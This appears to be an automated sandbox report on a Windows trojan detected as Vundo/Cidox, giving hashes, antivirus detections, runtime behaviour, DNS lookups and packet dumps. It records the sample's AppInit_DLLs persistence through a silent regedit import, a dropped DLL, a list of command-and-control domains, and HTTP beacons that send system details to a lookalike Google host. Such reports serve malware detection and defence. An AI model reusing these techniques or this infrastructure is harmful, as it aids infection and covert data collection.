Analysis Date2014-12-09 18:35:58
MD593f589a98cf103b1c55910e51d04597e
SHA165b84eb5bbe5f3c63283a8d9c3a220c45b6d061c

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: d498e41d7ef0302a6744596580de39d9 sha1: a86f251f84e7f9d55a88aefd2ebd12cfa0d0c2e5 size: 27136
Section.rdata md5: d3245f6aaa2117d6e4a9939d5a0f7e5a sha1: 4df70a354d25e9a4e26b104ee3de1b3cc8468b2f size: 7168
Section.data md5: 6ca710a48e8e5c5639b955e904035242 sha1: fcfd5c95e986f5ac026410ba773cbef9bb447975 size: 5120
Section.rsrc md5: 06d03c10fa8e42353ee7a79838ccc7c1 sha1: c1768065b4971e1d1a600c95b14fa848cf3f6056 size: 406016
Timestamp2012-11-27 18:39:52
PackerMicrosoft Visual C++ ?.?
PEhash36a2f9be4132f3293ec6c449b9b24183be139a3d
IMPhashcfa24d4733a8b68ed1239a2bfae44974
AV360 SafeGen:Variant.Symmi.7206
AVAd-AwareGen:Variant.Symmi.7206
AVAlwil (avast)Crypt-OXO [Trj]
AVArcabit (arcavir)no_virus
AVAuthentiumW32/Cidox.A.gen!Eldorado
AVAvira (antivir)TR/Drop.Vundo.voua
AVBullGuardGen:Variant.Symmi.7206
AVCA (E-Trust Ino)no_virus
AVCAT (quickheal)Trojan.Vundo.Gen
AVClamAVWin.Trojan.Cidox-298
AVDr. WebTrojan.Fakealert.35390
AVEmsisoftGen:Variant.Symmi.7206
AVEset (nod32)Win32/Kryptik.APTP
AVFortinetW32/Kryptik.FAGX!tr
AVFrisk (f-prot)W32/Cidox.A.gen!Eldorado
AVF-SecureGen:Variant.Symmi.7206
AVGrisoft (avg)Generic_r.BNC
AVIkarusTrojan-Dropper.Win32.Vundo
AVK7Backdoor ( 04c531cb1 )
AVKasperskyTrojan.Win32.Generic
AVMalwareBytesTrojan.Agent
AVMcafeeno_virus
AVMicrosoft Security EssentialsTrojanDropper:Win32/Vundo.V
AVMicroWorld (escan)Gen:Variant.Symmi.7206
AVRisingno_virus
AVSophosno_virus
AVSymantecno_virus
AVTrend MicroTROJ_VUNDO.SMKK
AVVirusBlokAda (vba32)Backdoor.Cidox

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates FileC:\Documents and Settings\Administrator\My Documents\Iterra\0105.tmp
Creates FileC:\Documents and Settings\Administrator\My Documents\Iterra\T03emp03.reg
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\BSDHA97U\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\IIQ3LGTM\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\D4Z32ED8\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Cookies\index.dat

Process
↳ C:\WINDOWS\Explorer.EXE

RegistryHKEY_CURRENT_USER\SessionInformation\ProgramCount ➝
NULL
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Cookies\cf
Creates FileC:\WINDOWS\system32\nckypjf.dll
Deletes FileC:\Documents and Settings\Administrator\My Documents\Iterra\0105.tmp
Deletes FileC:\Documents and Settings\Administrator\My Documents\Iterra\T03emp03.reg
Creates ProcessC:\WINDOWS\regedit.exe /s C:\Documents and Settings\Administrator\My Documents\Iterra\T03emp03.reg
Winsock DNSdetoxist.com
Winsock DNSclickbeta.ru
Winsock DNS91.220.35.154
Winsock DNSveroconma.com
Winsock DNSterrans.su
Winsock DNSgetinball.com
Winsock DNStheloamva.com
Winsock DNStryatdns.com
Winsock DNSclickclans.ru
Winsock DNSdentagod.com
Winsock DNSdenareclick.com
Winsock DNSdebijonda.com
Winsock DNSfescheck.com
Winsock DNSliteworns.com
Winsock DNSgetintsu.com
Winsock DNSnshouse1.com
Winsock DNSvengibit.com
Winsock DNStryangets.com
Winsock DNSnetrovad.com
Winsock DNSgedistoma.com
Winsock DNSvornedix.com
Winsock DNSinzavora.com
Winsock DNSgetavodes.com
Winsock DNSclickstano.com

Process
↳ C:\WINDOWS\regedit.exe /s C:\Documents and Settings\Administrator\My Documents\Iterra\T03emp03.reg

RegistryHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs ➝
C:\WINDOWS\system32\nckypjf.dll\\x00

Network Details:

DNSdetoxist.com
Type: A
141.8.225.80
DNSdebijonda.com
Type: A
141.8.225.80
DNSveroconma.com
Type: A
74.117.179.241
DNStheloamva.com
Type: A
141.8.225.80
DNSvornedix.com
Type: A
141.8.225.80
DNSdentagod.com
Type: A
141.8.225.80
DNSliteworns.com
Type: A
141.8.225.80
DNSvengibit.com
Type: A
141.8.225.80
DNStryangets.com
Type: A
141.8.225.80
DNSgetintsu.com
Type: A
141.8.225.80
DNSgetavodes.com
Type: A
209.222.14.3
DNStryatdns.com
Type: A
109.234.109.82
DNSinzavora.com
Type: A
141.8.225.80
DNSgedistoma.com
Type: A
DNSgetinball.com
Type: A
DNSfescheck.com
Type: A
DNSnetrovad.com
Type: A
DNSterrans.su
Type: A
DNSclickstano.com
Type: A
DNSdenareclick.com
Type: A
DNSclickbeta.ru
Type: A
DNSnshouse1.com
Type: A
DNSclickclans.ru
Type: A
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=252&av=0&vm=0&al=0&p=769&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg3Qi2i+SOOuC2GXBr23XbfcpXPKg3hOlougUsLciz7gZ
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=252&av=0&vm=0&al=0&p=769&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg3Qi2i+SOOuC2GXBr23XbfcpXPKg3hOlouqXVR9N1J2q
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=252&av=0&vm=0&al=0&p=769&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg3Qi2i+SOOuC2GXBr23XbfcpXPKg3hOlol+L4MV43EEE
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=252&av=0&vm=0&al=0&p=769&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg3Qi2i+SOOuC2GXBr23XbfcpXPKg3hOlol+L4MV43EEE
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=252&av=0&vm=0&al=0&p=769&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg3Qi2i+SOOuC2GXBr23XbfcpXPKg3hOlohrMrJhQCS7g
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=252&av=0&vm=0&al=0&p=769&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg3Qi2i+SOOuC2GXBr23XbfcpXPKg3hOlohrMrJhQCS7g
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=252&av=0&vm=0&al=0&p=769&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg3Qi2i+SOOuC2GXBr23XbfcpXPKg3hOlomgiYXlH00yc
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=252&av=0&vm=0&al=0&p=769&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg3Qi2i+SOOuC2GXBr23XbfcpXPKg3hOlomyAyN4aRxfe
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=252&av=0&vm=0&al=0&p=769&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg3Qi2i+SOOuC2GXBr23XbfcpXPKg3hOlomyAyN4aRxfe
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=252&av=0&vm=0&al=0&p=769&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg3Qi2i+SOOuC2GXBr23XbfcpXPKg3hOlomyAyN4aRxfe
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=252&av=0&vm=0&al=0&p=769&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg3Qi2i+SOOuC2GXBr23XbfcpXPKg3hOlonnY9vw+zXha
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=252&av=0&vm=0&al=0&p=769&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg3Qi2i+SOOuC2GXBr23XbfcpXPKg3hOlovD4fta1Y6H9
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=252&av=0&vm=0&al=0&p=769&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg3Qi2i+SOOuC2GXBr23XbfcpXPKg3hOlomyAyN4aRxfe
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=252&av=0&vm=0&al=0&p=769&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg3Qi2i+SOOuC2GXBr23XbfcpXPKg3hOlosGEwkwkfNqK
User-Agent:
Flows TCP192.168.1.1:1031 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1032 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1033 ➝ 74.117.179.241:80
Flows TCP192.168.1.1:1034 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1035 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1036 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1037 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1038 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1039 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1040 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1041 ➝ 209.222.14.3:80
Flows TCP192.168.1.1:1042 ➝ 109.234.109.82:80
Flows TCP192.168.1.1:1043 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1044 ➝ 91.220.35.154:80

Raw Pcap
0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 35322661   XX0000&key=252&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37363926 6f733d35 2e312e32 3630302e   769&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673351 6932692b 534f4f75 43324758   yg3Qi2i+SOOuC2GX
0x000000b0 (00176)   42723233 58626663 7058504b 6733684f   Br23XbfcpXPKg3hO
0x000000c0 (00192)   6c6f7567 55734c63 697a3767 5a204854   lougUsLciz7gZ HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 35322661   XX0000&key=252&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37363926 6f733d35 2e312e32 3630302e   769&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673351 6932692b 534f4f75 43324758   yg3Qi2i+SOOuC2GX
0x000000b0 (00176)   42723233 58626663 7058504b 6733684f   Br23XbfcpXPKg3hO
0x000000c0 (00192)   6c6f7571 58565239 4e314a32 71204854   louqXVR9N1J2q HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 35322661   XX0000&key=252&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37363926 6f733d35 2e312e32 3630302e   769&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673351 6932692b 534f4f75 43324758   yg3Qi2i+SOOuC2GX
0x000000b0 (00176)   42723233 58626663 7058504b 6733684f   Br23XbfcpXPKg3hO
0x000000c0 (00192)   6c6f6c2b 4c344d56 34334545 45204854   lol+L4MV43EEE HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 35322661   XX0000&key=252&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37363926 6f733d35 2e312e32 3630302e   769&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673351 6932692b 534f4f75 43324758   yg3Qi2i+SOOuC2GX
0x000000b0 (00176)   42723233 58626663 7058504b 6733684f   Br23XbfcpXPKg3hO
0x000000c0 (00192)   6c6f6c2b 4c344d56 34334545 45204854   lol+L4MV43EEE HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 35322661   XX0000&key=252&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37363926 6f733d35 2e312e32 3630302e   769&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673351 6932692b 534f4f75 43324758   yg3Qi2i+SOOuC2GX
0x000000b0 (00176)   42723233 58626663 7058504b 6733684f   Br23XbfcpXPKg3hO
0x000000c0 (00192)   6c6f6872 4d724a68 51435337 67204854   lohrMrJhQCS7g HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 35322661   XX0000&key=252&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37363926 6f733d35 2e312e32 3630302e   769&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673351 6932692b 534f4f75 43324758   yg3Qi2i+SOOuC2GX
0x000000b0 (00176)   42723233 58626663 7058504b 6733684f   Br23XbfcpXPKg3hO
0x000000c0 (00192)   6c6f6872 4d724a68 51435337 67204854   lohrMrJhQCS7g HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 35322661   XX0000&key=252&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37363926 6f733d35 2e312e32 3630302e   769&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673351 6932692b 534f4f75 43324758   yg3Qi2i+SOOuC2GX
0x000000b0 (00176)   42723233 58626663 7058504b 6733684f   Br23XbfcpXPKg3hO
0x000000c0 (00192)   6c6f6d67 6959586c 48303079 63204854   lomgiYXlH00yc HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 35322661   XX0000&key=252&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37363926 6f733d35 2e312e32 3630302e   769&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673351 6932692b 534f4f75 43324758   yg3Qi2i+SOOuC2GX
0x000000b0 (00176)   42723233 58626663 7058504b 6733684f   Br23XbfcpXPKg3hO
0x000000c0 (00192)   6c6f6d79 41794e34 61527866 65204854   lomyAyN4aRxfe HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 35322661   XX0000&key=252&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37363926 6f733d35 2e312e32 3630302e   769&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673351 6932692b 534f4f75 43324758   yg3Qi2i+SOOuC2GX
0x000000b0 (00176)   42723233 58626663 7058504b 6733684f   Br23XbfcpXPKg3hO
0x000000c0 (00192)   6c6f6d79 41794e34 61527866 65204854   lomyAyN4aRxfe HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 35322661   XX0000&key=252&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37363926 6f733d35 2e312e32 3630302e   769&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673351 6932692b 534f4f75 43324758   yg3Qi2i+SOOuC2GX
0x000000b0 (00176)   42723233 58626663 7058504b 6733684f   Br23XbfcpXPKg3hO
0x000000c0 (00192)   6c6f6d79 41794e34 61527866 65204854   lomyAyN4aRxfe HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 35322661   XX0000&key=252&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37363926 6f733d35 2e312e32 3630302e   769&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673351 6932692b 534f4f75 43324758   yg3Qi2i+SOOuC2GX
0x000000b0 (00176)   42723233 58626663 7058504b 6733684f   Br23XbfcpXPKg3hO
0x000000c0 (00192)   6c6f6e6e 59397677 2b7a5868 61204854   lonnY9vw+zXha HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 35322661   XX0000&key=252&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37363926 6f733d35 2e312e32 3630302e   769&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673351 6932692b 534f4f75 43324758   yg3Qi2i+SOOuC2GX
0x000000b0 (00176)   42723233 58626663 7058504b 6733684f   Br23XbfcpXPKg3hO
0x000000c0 (00192)   6c6f7644 34667461 31593648 39204854   lovD4fta1Y6H9 HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 35322661   XX0000&key=252&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37363926 6f733d35 2e312e32 3630302e   769&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
